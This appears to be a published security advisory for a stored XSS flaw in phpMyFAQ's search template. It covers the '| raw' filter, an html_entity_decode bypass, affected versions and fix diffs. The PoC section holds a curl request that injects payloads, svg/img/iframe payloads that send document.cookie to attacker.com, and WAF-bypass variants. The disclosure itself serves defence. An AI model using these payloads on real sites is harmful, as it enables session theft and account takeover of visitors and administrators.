CVE-2026-46361: phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering
Summary The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's raw filter, which completely disables the template engine's built-in auto-escaping. A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities.
Published May 6, 2026 · Updated Jun 9, 2026
Affected packages
phpmyfaq/phpmyfaq
- Ecosystem
- Composer (PHP)
- Affected
- <= 4.1.1
- Fixed in
- 4.1.2
- Check
composer show phpmyfaq/phpmyfaq
thorsten/phpmyfaq
- Ecosystem
- Composer (PHP)
- Affected
- <= 4.1.1
- Fixed in
- 4.1.2
- Check
composer show thorsten/phpmyfaq
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.
A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, html_entity_decode(strip_tags(...)) restores the raw HTML tags — bypassing strip_tags() — and the restored payload is injected into every visitor's browser via the | raw output.
This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.
---
Affected Files
| File | Location | Issue | | `phpmyfaq/assets/templates/default/search.twig` | lines rendering `result.question`, `result.answerPreview` | `(Vertical Bar) raw` disables autoescape | | `phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php` | search result processing loop | `html_entity_decode(strip_tags(...))` restores encoded payloads | | `phpmyfaq/src/phpMyFAQ/Search.php` | `logSearchTerm()` | No HTML sanitization on stored search term (secondary, preventive) |
---
Details
Vulnerability A (Primary): search.twig — | raw Disables Autoescape
File: phpmyfaq/assets/templates/default/search.twig
{{ result.question | raw }}
<small class="small">{{ result.answerPreview | raw }}...</small>Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.
Seven (7) instances of | raw exist in search.twig:
{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}Each of these constitutes an independent XSS surface if its data source is compromised.
---
Vulnerability B (Amplifier): SearchController.php — html_entity_decode(strip_tags()) Bypass
File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php
$data->answer = html_entity_decode(
strip_tags((string) $data->answer),
ENT_COMPAT,
encoding: 'utf-8'
);This pattern is a known security anti-pattern. When a payload is stored as HTML entities, strip_tags() passes it through unmodified (it sees no actual tags), and html_entity_decode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.
Bypass walkthrough:
Stored in DB: <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip_tags() → no change (no real tags detected)
→ <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output → executes in browser---
Attack Chain
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Payload injection
Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:
<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
Step 2 — Persistence
The payload is stored in the DB without HTML sanitization at the storage layer.
Step 3 — Victim triggers the XSS
Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:
- Retrieves the record from the database
- Applies
strip_tags()→ entity-encoded payload passes through - Applies
html_entity_decode()→ raw<svg onload=...>is restored - Passes the value to
search.twigasresult.answerPreview - Template renders with
| raw→ XSS executes
Step 4 — Impact
- Session cookie exfiltration → full account takeover
- Administrator session hijacking (admin visiting search page)
- Persistent attack: payload fires for every visitor until manually removed
- Potential for worm propagation via auto-created FAQ entries
---
PoC
Prerequisites: Attacker has FAQ editor / contributor role (low privilege).
Step 1 — Inject payload via FAQ editor:
curl -X POST 'https://target.example.com/admin/api/faq/create' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=<editor_session>' \
-d '{
"data": {
"pmf-csrf-token": "<valid_csrf_token>",
"question": "<svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>",
"answer": "<img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)>",
"lang": "en",
"categories[]": 1,
"active": "yes",
"tags": "test",
"keywords": "searchable-keyword",
"author": "attacker",
"email": "[email protected]"
}
}'Step 2 — Trigger XSS as victim:
https://target.example.com/search.html?search=searchable-keywordThe search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.
Alternative payloads (for WAF bypass):
<details open ontoggle=alert(document.cookie)>
<iframe srcdoc="&lt;script&gt;parent.location='https://attacker.com/?c='+document.cookie&lt;/script&gt;">---
Impact
- Confidentiality : Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context.
- Integrity : DOM manipulation, phishing overlay injection.
- Scope : Attack crosses from contributor privilege context to all site visitors, including administrators.
---
Recommended Fix
Fix 1 (Critical) — Remove | raw from user-controlled fields in search.twig
- {{ result.question | raw }}
- <small>{{ result.answerPreview | raw }}...</small>
+ {{ result.question }}
+ <small>{{ result.answerPreview }}...</small>If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.
Fix 2 (Critical) — Remove html_entity_decode() from search result pipeline SearchController.php
- $data->answer = html_entity_decode(
- strip_tags((string) $data->answer),
- ENT_COMPAT,
- encoding: 'utf-8'
- );
+ $data->answer = strip_tags((string) $data->answer);
$data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);Fix 3 (Recommended) — Audit all | raw usages in search.twig
The following additional | raw instances should be reviewed and sanitized:
{{ searchTags | raw }} → apply HTML Purifier or remove | raw
{{ relatedTags | raw }} → apply HTML Purifier or remove | raw
{{ pagination | raw }} → safe only if generated entirely server-side with no user inputFix 4 (Preventive) — Add htmlspecialchars() in logSearchTerm()
$this->configuration->getDb()->escape($searchTerm)
+ htmlspecialchars(
+ $this->configuration->getDb()->escape($searchTerm),
+ ENT_QUOTES | ENT_HTML5,
+ 'UTF-8'
+ )---
Credited to Doodi101.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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